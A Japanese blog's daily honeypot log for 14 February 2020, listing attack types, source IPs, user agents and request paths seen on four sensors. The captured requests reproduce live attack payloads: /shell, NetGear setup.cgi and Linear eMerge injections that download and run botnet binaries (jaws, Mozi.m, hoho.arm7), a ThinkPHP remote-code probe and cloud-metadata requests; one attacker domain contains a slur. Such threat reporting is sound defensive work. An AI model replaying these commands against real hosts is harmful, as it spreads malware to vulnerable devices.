2020/02/14 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2020/02/14分です。

特徴

Location：JP

ThinkPHPの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス
5[.]188[.]210[.]101に関する不正通信
112[.]124[.]42[.]80に関する不正通信
123[.]125[.]114[.]144に関する不正通信
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

Location：US

Linear eMerge E3製品の脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

Location：UK

ThinkPHPの脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
zgrabによるスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

Location：SG

NetGear製品の脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス
112[.]124[.]42[.]80に関する不正通信
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：69 (前日比：+20)
US：総アクセス数：215 (前日比：+191)
UK：総アクセス数：135 (前日比：+91)
SG：総アクセス数：16 (前日比：-295)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location：JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	106.45.1.111	China
1	112.80.136.89	China
1	113.24.83.34	China
10	118.24.240.15	China
1	119.118.2.99	China
1	121.57.15.58	China
1	122.96.29.16	China
1	124.88.113.204	China
1	128.14.134.170	United States
6	159.89.151.248	United States
1	172.104.242.173	United States
1	175.184.166.177	China
1	175.184.167.207	China
1	211.97.18.163	China
1	222.186.19.221	China
1	36.226.167.241	Taiwan
17	44.224.22.196	United States
17	44.225.84.206	United States
1	49.64.179.198	China
1	5.188.210.101	Russia
1	60.13.7.142	China
1	60.191.52.254	China
1	60.191.66.222	China

UserAgent一覧

件数	UserAgent
28	-
14	AWS Security Scanner
2	Go-http-client/1.1
1	Hello, world
1	Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)
1	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
6	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
4	PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3

リクエスト内容一覧

件数	Method	Request	Protocol
1	-
10	CONNECT	18[.]179[.]20[.]5:80	HTTP/1.0
1	CONNECT	cn[.]bing[.]com:443	HTTP/1.1
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	CONNECT	www[.]baidu[.]com:443	HTTP/1.1
1	CONNECT	www[.]ipip[.]net:443	HTTP/1.1
1	CONNECT	www[.]voanews[.]com:443	HTTP/1.1
1	GET	/elrekt.php	HTTP/1.1
1	GET	/html/public/index.php	HTTP/1.1
2	GET	http://169[.]254[.]169[.]254/	HTTP/1.1
2	GET	http://169[.]254[.]169[.]254/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	http://5[.]188[.]210[.]101/echo.php	HTTP/1.1
1	GET	http://boxun[.]com/	HTTP/1.1
2	GET	http://example[.]com/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	http://www[.]123cha[.]com/	HTTP/1.1
1	GET	http://www[.]epochtimes[.]com/	HTTP/1.1
1	GET	http://www[.]minghui[.]org/	HTTP/1.1
1	GET	http://www[.]rfa[.]org/english/	HTTP/1.1
1	GET	http://www[.]wujieliulan[.]com/	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
4	GET	/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/muieblackcat	HTTP/1.1
1	GET	//myadmin/scripts/setup.php	HTTP/1.1
1	GET	//MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//phpmyadmin/scripts/setup.php	HTTP/1.1
1	GET	//phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//pma/scripts/setup.php	HTTP/1.1
1	GET	/public/index.php	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/solr/	HTTP/1.1
1	GET	/thinkphp/html/public/index.php	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	HEAD	http://112[.]124[.]42[.]80:63435/	HTTP/1.1
1	HEAD	http://123[.]125[.]114[.]144/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
1	POST	/index.php?s=captcha	HTTP/1.1
10	\x16\x03\x01

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	111.242.30.64	Taiwan
1	114.39.122.222	Taiwan
1	128.14.134.170	United States
1	194.61.24.10	Netherlands
1	222.186.19.221	China
1	31.197.102.187	Italy
5	34.74.82.155	United States
101	41.144.142.212	South Africa
2	47.100.92.157	China
101	5.26.108.137	Turkey

UserAgent一覧

件数	UserAgent
7	-
1	Go-http-client/1.1
2	Hello, world
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
202	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
2	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)

リクエスト内容一覧

件数	Method	Request	Protocol
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	GET	/24794d9a4e38d452fd2f33819902ee05.php	HTTP/1.1
1	GET	/b2184d6d311d78ae1d7e7fcea6388bc7.php	HTTP/1.1
1	GET	/card_scan_decoder.php?No=30&door=%60wget http://switchnets[.]net/hoho.arm7;
1	GET	/FF23A014A1F858C0A29ECAB0137F177D.php	HTTP/1.1
202	GET	/phpmyadmin/	HTTP/1.1
1	GET	/phpmyadmin/index.php	HTTP/1.1
1	GET	/phpMyAdmin/index.php	HTTP/1.1
2	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/solr/	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	\x03

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	114.40.51.145	Taiwan
1	1.172.230.47	Taiwan
10	120.131.0.158	China
1	122.118.97.23	Taiwan
1	128.14.134.134	United States
1	172.104.242.173	United States
10	202.40.191.115	Bangladesh
1	222.186.19.221	China
1	45.141.87.2	Russia
1	45.152.6.58	Netherlands
1	51.140.182.113	United Kingdom
4	82.221.105.6	Iceland
1	83.97.20.181	Romania
101	93.243.214.80	Germany

UserAgent一覧

件数	UserAgent
7	-
3	Go-http-client/1.1
3	Hello, world
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
101	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
18	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1	Mozilla/5.0 zgrab/0.x
1	python-requests/2.10.0

リクエスト内容一覧

件数	Method	Request	Protocol
2	-
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	GET	/debug/vars	HTTP/1.1
2	GET	/elrekt.php	HTTP/1.1
1	GET	/favicon.ico	HTTP/1.1
2	GET	/html/public/index.php	HTTP/1.1
2	GET	/index.php	HTTP/1.1
2	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
101	GET	/phpmyadmin/	HTTP/1.1
2	GET	/public/index.php	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
3	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/solr/	HTTP/1.1
2	GET	/thinkphp/html/public/index.php	HTTP/1.1
2	GET	/TP/html/public/index.php	HTTP/1.1
2	GET	/TP/index.php	HTTP/1.1
2	GET	/TP/public/index.php	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
1	HEAD	/robots.txt	HTTP/1.0
2	POST	/index.php?s=captcha	HTTP/1.1
1	\x16\x03\x01\x018\x01

Location：SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	111.253.28.195	Taiwan
1	111.43.223.62	China
1	114.39.155.38	Taiwan
1	114.45.54.108	Taiwan
1	125.231.35.34	Taiwan
6	165.227.15.24	United States
1	169.197.108.42	United States
1	172.104.242.173	United States
1	222.186.19.221	China
1	51.140.182.113	United Kingdom
1	60.191.52.254	China

UserAgent一覧

件数	UserAgent
9	-
1	Go-http-client/1.1
4	Hello, world
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

リクエスト内容一覧

件数	Method	Request	Protocol
1	-
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	GET	/muieblackcat	HTTP/1.1
1	GET	//myadmin/scripts/setup.php	HTTP/1.1
1	GET	//MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//phpmyadmin/scripts/setup.php	HTTP/1.1
1	GET	//phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//pma/scripts/setup.php	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://111[.]43[.]223[.]62:60489/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
4	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/solr/	HTTP/1.1
1	HEAD	http://112[.]124[.]42[.]80:63435/	HTTP/1.1
1	\x16\x03\x01\x018\x01